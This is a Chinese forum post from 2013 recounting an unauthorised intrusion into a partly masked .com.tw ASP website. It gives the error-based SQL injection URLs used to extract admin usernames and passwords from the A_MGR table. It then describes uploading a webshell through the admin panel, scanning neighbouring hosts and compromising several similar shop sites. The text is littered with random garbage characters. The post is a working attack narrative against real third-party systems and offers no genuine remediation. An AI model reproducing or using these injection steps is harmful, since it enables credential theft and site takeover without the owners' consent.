发现一个注入点
8 l4 p5 N* J, U Q; p& D; Xhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
' p8 Y6 o! ~5 q
5 H! g& a' x6 q) O& r% h: q习惯性的加’having1=1--9 Z3 n( M0 T8 C) u9 L) i3 z; n" q7 _
5 L x8 D6 N& j3 R$ A8 \9 Ghttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
$ R6 U F9 A- w
- r+ ^ H: k2 V1 L( M. x0
3 J. r: p O2 S3 A( Z/ w8 F; `4 ]/ `$ k1 h; u
爆出Diary_A.dl_Title（这时候很激动啊）# @# t% U. L9 Y& T
) ^7 s( E7 D! L; ~5 n) W+ S- P* B那么继续# z) |; K& m# {, A! l
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—$ J( N7 N! N! p: I/ |/ ?
% x4 r* H# X6 T继续，一直爆下去+ L5 D6 ]- A1 V8 l7 L: G2 @, e
. W3 i: _ T$ z; _" j% y爆到几个字段和表段 但是没找到需要的管理用户的字段2 `3 G3 V# y5 N" k( @+ w' U
' \7 b1 ?9 b) Z" J9 V蛋疼了 怎么办 然后去后台登陆页看源码
& Z* B* F: }1 g9 u6 `* B& ]# e9 `" _+ y
0
( A, i5 _5 ~# d# |
% n+ H, m- k, }! ^9 uInput name= “ADUID”
2 g; \7 H" P b8 A' UInput name= “ADPWD”
# Z9 U+ E; C( R9 [7 ~. i$ S' z( T( | r" R! l C& g) Q7 _
很幸运 找到了字段那就继续* `9 Q8 L7 P0 c3 `/ K0 s! |- }
找到之后开始爆用户
1 x4 }/ H8 f: s- ~% m- G$ Lhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—' M: Q! ]2 \5 K' E+ |
爆密码: q7 ^4 o R I* ], s3 \
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
6 W( V: G1 V! V% H$ q5 P4 O/ f! f测试了下 这个注入点只能爆到文章哪里的表
. v5 {. d7 f5 W( B# |" K. J* g( Z" g7 m: w, G
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
1 j: j% c7 g% g( ?% b( e: W3 H# n/ x7 `4 o
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了9 i) d! {# _) d
$ [( g0 b7 f9 r. I
473
) F$ e$ D/ {6 C% U8 y6 U6 L
+ {5 m* C. w; x进后台
5 i8 \. `3 I1 z4 l- m8 @9 t& X. ~* F* a/ n8 i1 H* d* s& d
$ k# ]( H, S0 S: B' M
发现几个上传点 有的地方不能上传 而且防止恶意代码5 {- W, y& W6 A7 O( J1 D
8 C9 e4 ^) V8 q \" G& x没办法 各种百度各种找大牛 找到一只好像可以突破的马) h" t; h- p, E5 V8 V- z4 _
: X: E% i1 a* Q4 g* }3 Y2 c8 }$ P; ]+ L7 q! s
在系统管理那里直接上传 不过没有显示地址
6 Z0 ?: G0 i9 W: p: f# @, Z, S+ J( x, X; ?+ H1 g
再上传一次 抓包 搞定OK& o0 o$ Y, D; o; S
) C/ n d+ o" R
& J9 q9 E x" W' i1 K* Y$ j, g. X+ w p' i$ r3 Q
4726 L6 X0 Z0 B. B' X- Y& k
3 D; Y& N' |3 H
晚上不行了 去睡觉。。。
0 J/ U }! m) ~& W第二天刚起床 闲的没事做继续日站吧
( U8 V% Y$ Y! F! Y
" m* z/ H% ]/ \: A& \& T+ G$ u找个站 就把这个站的旁c扫了下
3 r2 ~$ m* I3 V: H. Q4 n
7 k" C" x+ C4 Q8 m发现c段也有一个购物站 ，然后还和这个站的模板差不多
; M# {5 D/ R" ]8 F, y2 s6 d- d# P( t- \. z! w9 [( f
就找到会员登录口测试8 o9 e4 p! U: X8 M0 ?3 i; h
' T! i z5 _9 W- H4 a'and (select top 1 MGR_UID from A_MGR)>0—
) |. |* _: J% a8 J* v y2 }果断爆到了 这时候我很激动 通杀" o H- V. N2 s9 _4 S
1 B9 D' c( ~4 L4 W! D再次翻c段4 c8 V j+ g# b" l0 p
% c- H$ \7 ^% A% y( ?2 e
翻出几个站 都成功拿下: X' k2 h8 G6 x) ?+ s
% @) I* m/ j) d% `! C8 a0 r! F$ D" T; ?; g5 ?
! X* b" n; c, U$ o
修复方案：
. T& ]$ y! @3 M! X, l4 P. i他们比我专业 ! C2 A3 p0 }: Z) J! L
* c+ B0 r i0 B1 x" H% ]
6 k1 L2 S: m1 G7 i1 F! A2 D$ U
5 ^- o& t2 u) A& K, i |
发表于 2013-4-4 17:40:38
收藏
支持
反对